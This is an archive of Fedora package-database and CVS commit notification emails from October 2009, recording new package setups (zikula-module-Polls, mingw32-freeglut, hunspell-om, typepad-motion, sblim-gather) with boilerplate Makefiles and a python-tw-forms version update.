kevin has set commit to Approved for 107427 on zikula-module-Polls (Fedora 12)
kevin has set checkout to Approved for 107427 on zikula-module-Polls (Fedora 12)
kevin has set build to Approved for 107427 on zikula-module-Polls (Fedora 12)
kevin approved watchbugzilla on zikula-module-Polls (Fedora 12) for ke4qqq
kevin approved watchcommits on zikula-module-Polls (Fedora 12) for ke4qqq
kevin approved commit on zikula-module-Polls (Fedora 12) for ke4qqq
kevin approved build on zikula-module-Polls (Fedora 12) for ke4qqq
kevin approved approveacls on zikula-module-Polls (Fedora 12) for ke4qqq

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-Polls



From kevin at fedoraproject.org  Thu Oct 22 04:34:32 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:34:32 +0000 (UTC)
Subject: rpms/zikula-module-Polls - New directory
Message-ID: <20091022043432.1A24E11C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-Polls
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb28387/rpms/zikula-module-Polls

Log Message:
Directory /cvs/pkgs/rpms/zikula-module-Polls added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:34:32 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:34:32 +0000 (UTC)
Subject: rpms/zikula-module-Polls/devel - New directory
Message-ID: <20091022043432.3F69711C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-Polls/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb28387/rpms/zikula-module-Polls/devel

Log Message:
Directory /cvs/pkgs/rpms/zikula-module-Polls/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:34:39 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:34:39 +0000 (UTC)
Subject: rpms/zikula-module-Polls Makefile,NONE,1.1
Message-ID: <20091022043439.DDB4B11C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-Polls
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb28387/rpms/zikula-module-Polls

Added Files:
	Makefile 
Log Message:
Setup of module zikula-module-Polls


--- NEW FILE Makefile ---
# Top level Makefile for module zikula-module-Polls
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 22 04:34:40 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:34:40 +0000 (UTC)
Subject: rpms/zikula-module-Polls/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091022043440.56BA211C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-Polls/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsb28387/rpms/zikula-module-Polls/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module zikula-module-Polls


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: zikula-module-Polls
# $Id: Makefile,v 1.1 2009/10/22 04:34:40 kevin Exp $
NAME := zikula-module-Polls
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From kevin at fedoraproject.org  Thu Oct 22 04:35:24 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:35:24 +0000 (UTC)
Subject: rpms/mingw32-freeglut - New directory
Message-ID: <20091022043524.1F50511C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mingw32-freeglut
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ28856/rpms/mingw32-freeglut

Log Message:
Directory /cvs/pkgs/rpms/mingw32-freeglut added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:35:24 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:35:24 +0000 (UTC)
Subject: rpms/mingw32-freeglut/devel - New directory
Message-ID: <20091022043524.438B411C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mingw32-freeglut/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ28856/rpms/mingw32-freeglut/devel

Log Message:
Directory /cvs/pkgs/rpms/mingw32-freeglut/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:35:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:35:31 +0000 (UTC)
Subject: rpms/mingw32-freeglut/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091022043531.1CF7011C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mingw32-freeglut/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ28856/rpms/mingw32-freeglut/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module mingw32-freeglut


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: mingw32-freeglut
# $Id: Makefile,v 1.1 2009/10/22 04:35:31 kevin Exp $
NAME := mingw32-freeglut
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From kevin at fedoraproject.org  Thu Oct 22 04:35:30 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:35:30 +0000 (UTC)
Subject: rpms/mingw32-freeglut Makefile,NONE,1.1
Message-ID: <20091022043530.E3FB511C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mingw32-freeglut
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ28856/rpms/mingw32-freeglut

Added Files:
	Makefile 
Log Message:
Setup of module mingw32-freeglut


--- NEW FILE Makefile ---
# Top level Makefile for module mingw32-freeglut
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From pkgdb at fedoraproject.org  Thu Oct 22 04:38:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:38:37 +0000
Subject: [pkgdb] hunspell-om was added for caolanm
Message-ID: <20091022043837.9264610F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package hunspell-om with summary Oromo hunspell dictionaries
kevin has approved Package hunspell-om
kevin has added a Fedora devel branch for hunspell-om with an owner of caolanm
kevin has approved hunspell-om in Fedora devel
kevin has approved Package hunspell-om
kevin has set commit to Approved for 107427 on hunspell-om (Fedora devel)
kevin has set checkout to Approved for 107427 on hunspell-om (Fedora devel)
kevin has set build to Approved for 107427 on hunspell-om (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/hunspell-om



From pkgdb at fedoraproject.org  Thu Oct 22 04:38:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:38:38 +0000
Subject: [pkgdb] hunspell-om summary updated by kevin
Message-ID: <20091022043839.0F54910F88F@bastion2.fedora.phx.redhat.com>

kevin set package hunspell-om summary to Oromo hunspell dictionaries

To make changes to this package see:
  /pkgdb/packages/name/hunspell-om



From kevin at fedoraproject.org  Thu Oct 22 04:38:46 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:38:46 +0000 (UTC)
Subject: rpms/hunspell-om - New directory
Message-ID: <20091022043846.2752F11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-om
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj29692/rpms/hunspell-om

Log Message:
Directory /cvs/pkgs/rpms/hunspell-om added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:38:46 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:38:46 +0000 (UTC)
Subject: rpms/hunspell-om/devel - New directory
Message-ID: <20091022043846.48B8411C0265@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-om/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj29692/rpms/hunspell-om/devel

Log Message:
Directory /cvs/pkgs/rpms/hunspell-om/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:38:53 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:38:53 +0000 (UTC)
Subject: rpms/hunspell-om Makefile,NONE,1.1
Message-ID: <20091022043853.3762611C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-om
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj29692/rpms/hunspell-om

Added Files:
	Makefile 
Log Message:
Setup of module hunspell-om


--- NEW FILE Makefile ---
# Top level Makefile for module hunspell-om
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From lmacken at fedoraproject.org  Thu Oct 22 04:38:46 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu, 22 Oct 2009 04:38:46 +0000 (UTC)
Subject: rpms/python-tw-forms/F-12 python-tw-forms.spec, 1.6, 1.7 sources,
	1.4, 1.5
Message-ID: <20091022043846.1E1C011C008C@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-tw-forms/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29714

Modified Files:
	python-tw-forms.spec sources 
Log Message:
0.9.8


Index: python-tw-forms.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/F-12/python-tw-forms.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- python-tw-forms.spec	27 Jul 2009 01:19:54 -0000	1.6
+++ python-tw-forms.spec	22 Oct 2009 04:38:45 -0000	1.7
@@ -3,8 +3,8 @@
 %define srcname tw.forms
 
 Name:           python-tw-forms
-Version:        0.9.6
-Release:        2%{?dist}
+Version:        0.9.8
+Release:        1%{?dist}
 Summary:        Web Widgets for building and validating forms in ToscaWidgets
 Group:          Development/Languages
 # The javascript for the calendar widget is licensed under LGPLv2.1+
@@ -16,7 +16,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildArch:      noarch
 BuildRequires:  python-devel
 BuildRequires:  python-setuptools
-Requires:       python-toscawidgets
+Requires:       python-toscawidgets >= 0.9.6
 Requires:       python-formencode >= 1.0.1
 
 %description
@@ -49,8 +49,14 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.6-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Thu Oct 01 2009 Luke Macken <lmacken at redhat.com> - 0.9.8-1
+- 0.9.8
+
+* Wed Aug 12 2009 Luke Macken <lmacken at redhat.com> - 0.9.7.2-1
+- 0.9.7.2
+
+* Wed Jun 10 2009 Luke Macken <lmacken at redhat.com> - 0.9.6-2
+- Add a versioned ToscaWidgets requirement
 
 * Thu Jun 04 2009 Luke Macken <lmacken at redhat.com> - 0.9.6-1
 - Update to 0.9.6


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-tw-forms/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	5 Jun 2009 17:05:33 -0000	1.4
+++ sources	22 Oct 2009 04:38:45 -0000	1.5
@@ -1 +1 @@
-bf5d5593b862a171986eb8b8a13a28f9  tw.forms-0.9.6.tar.gz
+9a1cea6d4296bbb1f9b210fec5ad891d  tw.forms-0.9.8.tar.gz



From kevin at fedoraproject.org  Thu Oct 22 04:38:53 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:38:53 +0000 (UTC)
Subject: rpms/hunspell-om/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091022043853.7AEB411C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-om/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj29692/rpms/hunspell-om/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module hunspell-om


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: hunspell-om
# $Id: Makefile,v 1.1 2009/10/22 04:38:53 kevin Exp $
NAME := hunspell-om
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 22 04:39:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:39:46 +0000
Subject: [pkgdb] typepad-motion was added for sdz
Message-ID: <20091022043947.03DBA10F89A@bastion2.fedora.phx.redhat.com>

kevin has added Package typepad-motion with summary A microblogging application for building online communities
kevin has approved Package typepad-motion
kevin has added a Fedora devel branch for typepad-motion with an owner of sdz
kevin has approved typepad-motion in Fedora devel
kevin has approved Package typepad-motion
kevin has set commit to Approved for 107427 on typepad-motion (Fedora devel)
kevin has set checkout to Approved for 107427 on typepad-motion (Fedora devel)
kevin has set build to Approved for 107427 on typepad-motion (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/typepad-motion



From pkgdb at fedoraproject.org  Thu Oct 22 04:39:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:39:48 +0000
Subject: [pkgdb] typepad-motion summary updated by kevin
Message-ID: <20091022043948.94A7D10F8A2@bastion2.fedora.phx.redhat.com>

kevin set package typepad-motion summary to A microblogging application for building online communities

To make changes to this package see:
  /pkgdb/packages/name/typepad-motion



From pkgdb at fedoraproject.org  Thu Oct 22 04:39:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:39:48 +0000
Subject: [pkgdb] typepad-motion (Fedora EPEL, 5) updated by kevin
Message-ID: <20091022043948.9992610F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for typepad-motion
kevin has set commit to Approved for 107427 on typepad-motion (Fedora 11)
kevin has set checkout to Approved for 107427 on typepad-motion (Fedora 11)
kevin has set build to Approved for 107427 on typepad-motion (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/typepad-motion



From pkgdb at fedoraproject.org  Thu Oct 22 04:39:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:39:48 +0000
Subject: [pkgdb] typepad-motion (Fedora EPEL, 5) updated by kevin
Message-ID: <20091022043948.9F01310F8B0@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for typepad-motion
kevin has set commit to Approved for 107427 on typepad-motion (Fedora 12)
kevin has set checkout to Approved for 107427 on typepad-motion (Fedora 12)
kevin has set build to Approved for 107427 on typepad-motion (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/typepad-motion



From pkgdb at fedoraproject.org  Thu Oct 22 04:39:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:39:48 +0000
Subject: [pkgdb] typepad-motion (Fedora EPEL, 5) updated by kevin
Message-ID: <20091022043948.A97AA10F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for typepad-motion
kevin has set commit to Approved for 107427 on typepad-motion (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on typepad-motion (Fedora EPEL 5)
kevin has set build to Approved for 107427 on typepad-motion (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/typepad-motion



From kevin at fedoraproject.org  Thu Oct 22 04:39:57 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:39:57 +0000 (UTC)
Subject: rpms/typepad-motion - New directory
Message-ID: <20091022043957.1F89611C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/typepad-motion
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQ30077/rpms/typepad-motion

Log Message:
Directory /cvs/pkgs/rpms/typepad-motion added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:39:57 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:39:57 +0000 (UTC)
Subject: rpms/typepad-motion/devel - New directory
Message-ID: <20091022043957.3F26411C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/typepad-motion/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQ30077/rpms/typepad-motion/devel

Log Message:
Directory /cvs/pkgs/rpms/typepad-motion/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:40:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:40:04 +0000 (UTC)
Subject: rpms/typepad-motion Makefile,NONE,1.1
Message-ID: <20091022044004.6FF8711C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/typepad-motion
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQ30077/rpms/typepad-motion

Added Files:
	Makefile 
Log Message:
Setup of module typepad-motion


--- NEW FILE Makefile ---
# Top level Makefile for module typepad-motion
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 22 04:40:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:40:04 +0000 (UTC)
Subject: rpms/typepad-motion/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091022044004.A029C11C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/typepad-motion/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQ30077/rpms/typepad-motion/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module typepad-motion


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: typepad-motion
# $Id: Makefile,v 1.1 2009/10/22 04:40:04 kevin Exp $
NAME := typepad-motion
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 22 04:40:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:40:36 +0000
Subject: [pkgdb] sblim-gather was added for vcrhonek
Message-ID: <20091022044036.7CE9B10F8A2@bastion2.fedora.phx.redhat.com>

kevin has added Package sblim-gather with summary SBLIM Performance Data Gatherer Base
kevin has approved Package sblim-gather
kevin has added a Fedora devel branch for sblim-gather with an owner of vcrhonek
kevin has approved sblim-gather in Fedora devel
kevin has approved Package sblim-gather
kevin has set commit to Approved for 107427 on sblim-gather (Fedora devel)
kevin has set checkout to Approved for 107427 on sblim-gather (Fedora devel)
kevin has set build to Approved for 107427 on sblim-gather (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sblim-gather



From pkgdb at fedoraproject.org  Thu Oct 22 04:40:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:40:37 +0000
Subject: [pkgdb] sblim-gather summary updated by kevin
Message-ID: <20091022044038.0CD7710F8AC@bastion2.fedora.phx.redhat.com>

kevin set package sblim-gather summary to SBLIM Performance Data Gatherer Base

To make changes to this package see:
  /pkgdb/packages/name/sblim-gather



From pkgdb at fedoraproject.org  Thu Oct 22 04:40:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:40:37 +0000
Subject: [pkgdb] sblim-gather (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044038.1A49710F8B0@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sblim-gather
kevin has set commit to Approved for 107427 on sblim-gather (Fedora 11)
kevin has set checkout to Approved for 107427 on sblim-gather (Fedora 11)
kevin has set build to Approved for 107427 on sblim-gather (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sblim-gather



From pkgdb at fedoraproject.org  Thu Oct 22 04:40:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:40:37 +0000
Subject: [pkgdb] sblim-gather (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044038.3268210F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-gather
kevin has set commit to Approved for 107427 on sblim-gather (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-gather (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-gather (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-gather



From pkgdb at fedoraproject.org  Thu Oct 22 04:40:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:40:37 +0000
Subject: [pkgdb] sblim-gather (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044038.4B30A10F8B6@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sblim-gather
kevin has set commit to Approved for 107427 on sblim-gather (Fedora 10)
kevin has set checkout to Approved for 107427 on sblim-gather (Fedora 10)
kevin has set build to Approved for 107427 on sblim-gather (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sblim-gather



From pkgdb at fedoraproject.org  Thu Oct 22 04:40:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:40:37 +0000
Subject: [pkgdb] sblim-gather (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044038.578A310F8BA@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sblim-gather
kevin has set commit to Approved for 107427 on sblim-gather (Fedora 12)
kevin has set checkout to Approved for 107427 on sblim-gather (Fedora 12)
kevin has set build to Approved for 107427 on sblim-gather (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sblim-gather



From pkgdb at fedoraproject.org  Thu Oct 22 04:40:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:40:38 +0000
Subject: [pkgdb] sblim-gather (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044038.5CB9810F8BD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-gather
kevin has set commit to Approved for 107427 on sblim-gather (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-gather (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-gather (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-gather



From kevin at fedoraproject.org  Thu Oct 22 04:40:49 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:40:49 +0000 (UTC)
Subject: rpms/sblim-gather - New directory
Message-ID: <20091022044049.C724F11C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-gather
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg30599/rpms/sblim-gather

Log Message:
Directory /cvs/pkgs/rpms/sblim-gather added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:40:50 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:40:50 +0000 (UTC)
Subject: rpms/sblim-gather/devel - New directory
Message-ID: <20091022044050.05C5D11C04B6@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-gather/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg30599/rpms/sblim-gather/devel

Log Message:
Directory /cvs/pkgs/rpms/sblim-gather/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:41:01 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:41:01 +0000 (UTC)
Subject: rpms/sblim-gather Makefile,NONE,1.1
Message-ID: <20091022044101.286C411C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-gather
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg30599/rpms/sblim-gather

Added Files:
	Makefile 
Log Message:
Setup of module sblim-gather


--- NEW FILE Makefile ---
# Top level Makefile for module sblim-gather
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 22 04:41:01 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:41:01 +0000 (UTC)
Subject: rpms/sblim-gather/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091022044101.CC35211C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-gather/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg30599/rpms/sblim-gather/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sblim-gather


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sblim-gather
# $Id: Makefile,v 1.1 2009/10/22 04:41:01 kevin Exp $
NAME := sblim-gather
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
